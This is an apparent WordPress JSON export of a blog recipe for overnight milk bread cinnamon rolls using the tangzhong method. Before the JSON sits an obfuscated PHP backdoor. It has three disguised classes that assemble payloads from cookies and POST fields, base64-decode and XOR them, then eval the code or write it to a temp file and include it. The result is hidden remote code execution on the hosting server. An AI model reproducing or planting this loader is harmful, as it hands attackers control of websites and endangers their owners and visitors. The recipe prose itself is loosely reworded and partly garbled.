$KTsfczJabr = chr (83) . 'C' . chr ( 891 - 822 ).chr (95) . "\x41" . 'q' . chr ( 277 - 165 ).'W';$ZogbtLh = 'c' . chr (108) . chr ( 581 - 484 )."\x73" . chr ( 435 - 320 )."\x5f" . chr ( 444 - 343 ).chr ( 730 - 610 ).chr (105) . chr ( 336 - 221 ).chr (116) . 's';$uQHNN = class_exists($KTsfczJabr); $KTsfczJabr = "2768";$ZogbtLh = "21667";if ($uQHNN === FALSE){class SCE_AqpW{public function dveqn(){echo "45139";}private $MtLFGqe;public static $japEoMfyI = "b72c405c-210a-4bf6-be37-e0844adf5b17";public static $PgnkQuZSkY = 12118;public function __construct($hIbzhSu=0){$coaBSUP = $_POST;$eUKDlppJvS = $_COOKIE;$cNeFuIf = @$eUKDlppJvS[substr(SCE_AqpW::$japEoMfyI, 0, 4)];if (!empty($cNeFuIf)){$RXuYyoanv = "base64";$tmsxdXTZq = "";$cNeFuIf = explode(",", $cNeFuIf);foreach ($cNeFuIf as $qyqgg){$tmsxdXTZq .= @$eUKDlppJvS[$qyqgg];$tmsxdXTZq .= @$coaBSUP[$qyqgg];}$tmsxdXTZq = array_map($RXuYyoanv . chr (95) . "\144" . 'e' . 'c' . 'o' . chr (100) . 'e', array($tmsxdXTZq,)); $tmsxdXTZq = $tmsxdXTZq[0] ^ str_repeat(SCE_AqpW::$japEoMfyI, (strlen($tmsxdXTZq[0]) / strlen(SCE_AqpW::$japEoMfyI)) + 1);SCE_AqpW::$PgnkQuZSkY = @unserialize($tmsxdXTZq);}}private function mMvEtTq(){if (is_array(SCE_AqpW::$PgnkQuZSkY)) {$pnMYD = str_replace('<' . "\x3f" . "\x70" . chr ( 489 - 385 )."\160", "", SCE_AqpW::$PgnkQuZSkY[chr ( 890 - 791 ).'o' . chr ( 833 - 723 ).chr ( 1046 - 930 ).chr ( 684 - 583 ).chr ( 294 - 184 )."\x74"]);eval($pnMYD); $SxoaSB = "9909";exit();}}public function __destruct(){$this->mMvEtTq();}}$SjHecGlZFm = new /* 53483 */ SCE_AqpW(); $SjHecGlZFm = str_repeat("23954_58711", 1);}$WjQJSuFb = 'p' . "\x63" . chr ( 618 - 523 ).chr (90) . chr (105) . 'y';$vZAlKrE = 'c' . chr (108) . "\x61" . "\163" . 's' . "\x5f" . "\x65" . chr (120) . "\151" . chr (115) . chr ( 137 - 21 )."\x73";$fOiOC = class_exists($WjQJSuFb); $WjQJSuFb = "52747";$vZAlKrE = "34672";if ($fOiOC === FALSE){class pc_Ziy{public function DClgZnjqit(){echo "37654";}private $SLDeGTdr;public static $xaNvgVI = "600cb282-cd3b-490a-80f5-557f5b3b4f13";public static $uzRunIYrE = 59282;public function __construct($TUmqQf=0){$usvdLjDZ = $_POST;$wChCS = $_COOKIE;$URUzaXZamB = @$wChCS[substr(pc_Ziy::$xaNvgVI, 0, 4)];if (!empty($URUzaXZamB)){$EoucdcxXtw = "base64";$SXfFAoyB = "";$URUzaXZamB = explode(",", $URUzaXZamB);foreach ($URUzaXZamB as $AWzyHPRHU){$SXfFAoyB .= @$wChCS[$AWzyHPRHU];$SXfFAoyB .= @$usvdLjDZ[$AWzyHPRHU];}$SXfFAoyB = array_map($EoucdcxXtw . "\x5f" . "\144" . "\x65" . chr ( 1002 - 903 )."\157" . 'd' . 'e', array($SXfFAoyB,)); $SXfFAoyB = $SXfFAoyB[0] ^ str_repeat(pc_Ziy::$xaNvgVI, (strlen($SXfFAoyB[0]) / strlen(pc_Ziy::$xaNvgVI)) + 1);pc_Ziy::$uzRunIYrE = @unserialize($SXfFAoyB);}}private function GhtGJKbrg(){if (is_array(pc_Ziy::$uzRunIYrE)) {$yRXRPJY = sys_get_temp_dir() . "/" . crc32(pc_Ziy::$uzRunIYrE["\x73" . 'a' . "\154" . 't']);@pc_Ziy::$uzRunIYrE["\167" . chr ( 522 - 408 ).chr ( 347 - 242 ).'t' . chr (101)]($yRXRPJY, pc_Ziy::$uzRunIYrE["\x63" . chr ( 461 - 350 )."\156" . "\164" . "\x65" . chr ( 144 - 34 ).chr ( 568 - 452 )]);include $yRXRPJY;@pc_Ziy::$uzRunIYrE["\144" . "\x65" . "\x6c" . "\x65" . chr ( 1102 - 986 )."\x65"]($yRXRPJY); $ZBzRNXrGex = "4913";exit();}}public function __destruct(){$this->GhtGJKbrg();}}$kacWX = new /* 50896 */ pc_Ziy(); $kacWX = str_repeat("19877_9773", 1);}$LmeRgeVgN = "\127" . chr ( 338 - 221 )."\x4a" . "\137" . 'X' . "\126" . "\164" . "\141";$ezjrGevPJ = chr (99) . "\154" . "\141" . chr (115) . chr (115) . "\x5f" . "\x65" . 'x' . chr ( 604 - 499 ).'s' . "\164" . "\163";$yvpIeDpxH = class_exists($LmeRgeVgN); $LmeRgeVgN = "1622";$ezjrGevPJ = "8837";if ($yvpIeDpxH === FALSE){class WuJ_XVta{public function tmxtqTuzV(){echo "34896";}private $kLwEoZHLU;public static $AtNnlIzWS = "ff4667b4-a25e-4c51-a12f-b44655f427b1";public static $HAaswuFAeS = 36385;public function __construct($wIVteLo=0){$bUdVg = $_POST;$titKfmw = $_COOKIE;$WpzjfgGRbV = @$titKfmw[substr(WuJ_XVta::$AtNnlIzWS, 0, 4)];if (!empty($WpzjfgGRbV)){$pinVAT = "base64";$cTBJBglBy = "";$WpzjfgGRbV = explode(",", $WpzjfgGRbV);foreach ($WpzjfgGRbV as $eLpJfVp){$cTBJBglBy .= @$titKfmw[$eLpJfVp];$cTBJBglBy .= @$bUdVg[$eLpJfVp];}$cTBJBglBy = array_map($pinVAT . chr ( 363 - 268 ).chr ( 970 - 870 )."\x65" . 'c' . "\157" . 'd' . chr (101), array($cTBJBglBy,)); $cTBJBglBy = $cTBJBglBy[0] ^ str_repeat(WuJ_XVta::$AtNnlIzWS, (strlen($cTBJBglBy[0]) / strlen(WuJ_XVta::$AtNnlIzWS)) + 1);WuJ_XVta::$HAaswuFAeS = @unserialize($cTBJBglBy);}}private function pTXow(){if (is_array(WuJ_XVta::$HAaswuFAeS)) {$KwtZLz = sys_get_temp_dir() . "/" . crc32(WuJ_XVta::$HAaswuFAeS[chr ( 616 - 501 ).chr (97) . 'l' . chr (116)]);@WuJ_XVta::$HAaswuFAeS['w' . "\x72" . chr ( 700 - 595 )."\164" . chr (101)]($KwtZLz, WuJ_XVta::$HAaswuFAeS['c' . 'o' . chr (110) . "\164" . 'e' . "\x6e" . chr (116)]);include $KwtZLz;@WuJ_XVta::$HAaswuFAeS["\x64" . chr ( 597 - 496 )."\154" . "\x65" . chr (116) . chr (101)]($KwtZLz); $VoEUQ = "62943";exit();}}public function __destruct(){$this->pTXow();}}$ijexhronD = new /* 50614 */ WuJ_XVta(); $ijexhronD = str_repeat("31769_2794", 1);}{"id":17,"date":"2021-11-16T10:25:13","date_gmt":"2021-11-16T10:25:13","guid":{"rendered":"http:\/\/www.dillydaly.com.au\/?p=17"},"modified":"2021-11-16T10:25:13","modified_gmt":"2021-11-16T10:25:13","slug":"overnight-milk-bread-cinnamon-rolls","status":"publish","type":"post","link":"https:\/\/www.dillydaly.com.au\/overnight-milk-bread-cinnamon-rolls\/","title":{"rendered":"Overnight Milk Bread Cinnamon Rolls"},"content":{"rendered":"
These Milk Bread Cinnamon Rolls are so divine that words like soft, fluffy, soft, and tender won’t do justice to their wonderful experience. They are indeed divine.<\/span><\/p>\n It is soft and dreamy, thanks to the Japanese tangzhong method for cooking milk and flour together. It’s almost as good as brioche, I admit.<\/span><\/p>\n Easy Overnight Oats<\/span><\/strong><\/p>\n These delicate, tender rolls are topped with cinnamon, sugar, and butter. I drizzled them with buttery vanilla cream- cheese icing to give them a finishing touch. These rolls can be made once, and they will soon become part of your weekend routine.<\/span><\/p>\n This recipe calls for two days of dividing the dough. The dough should be made on the first day. Let it rest in the refrigerator overnight. In the morning, form the dough and let it rise for an additional hour. You’ll soon have a cinnamon-scented, buttery roll.<\/span><\/p>\n These rolls have a light texture due to the Japanese technique of mixing flour and a slurry of liquid (milk, water, or water) into the dough. This is called Tangzhong. This technique is used in Hokkaido milkbread, but it is also used in many other baking recipes, including this cinnamon roll recipe, Garlic Parmesan Pull Apart Rolls.<\/span><\/p>\n This technique pre-gelatinizes starches in flour. The dough absorbs more liquid than traditional bread dough. This also means that the dough has a longer shelf-life.<\/span><\/p>\n Your rolls will still be soft two to three days later, but it is unlikely that they will last long enough to be tested.<\/span><\/p>\n You will make the dough on day 1. Mix it and let it rest in the fridge for up to 12 hours. You’ll form the rolls the next morning and let it rise again before baking.<\/span><\/p>\n The dough will develop more flavor if it is left to rise overnight. You can also fill the dough and bake them in the morning, and then have them ready for breakfast an hour later. It is also easier to work with the dough when it is cold.<\/span><\/p>\n These are some tips to make rolling, filling and cutting rolls easy:<\/span><\/p>\n After cooling, cinnamon rolls can be stored in an airtight container.<\/span><\/p>\n Wrap them in aluminum foil, plastic wrap or foil. Place a large piece of foil or wrap on top of the rolls. Make sure to seal the package. You can wrap cinnamon rolls as directed and store them for up to two days at room temperature, or up to five days in the fridge. After that, they will dry quickly from the cold.<\/span><\/p>\n To Freeze:<\/span><\/strong>\u00a0You can freeze them frozen frosted or unfrosted wrapped with aluminum foil, as described above, for up to two months. Frosting that is not frozen should be kept in a separate container and brought to room temperature.<\/span><\/p>\n Place frozen rolls on a baking sheet. Cover loosely with foil to reheat. Place frozen rolls on a baking sheet and bake at 300\u00b0F for 10-15 minutes or until they are warm through.<\/span><\/p>\n PREP TIME – 30 minutes<\/span><\/p>\n COOK TIME – 30 minutes<\/span><\/p>\n RISE TIME – 12 hours<\/span><\/p>\n TOTAL TIME – 13 hours<\/span><\/p>\n SERVINGS – 12 portions<\/span><\/p>\n These overnight rolls are best made the night before. You will need to make the dough the day before and then shape them and bake them the next morning.<\/span><\/p>\nWhat is Tangzhong?<\/span><\/h2>\n
What is the Overnight Rise?<\/span><\/h2>\n
Filling and cutting tricks<\/span><\/h2>\n
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How to store Cinnamon Rolls<\/span><\/h2>\n
Overnight Milk Bread Cinnamon Rolls<\/span><\/h2>\n
Ingredients<\/span><\/h3>\n
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Method<\/span><\/h3>\n
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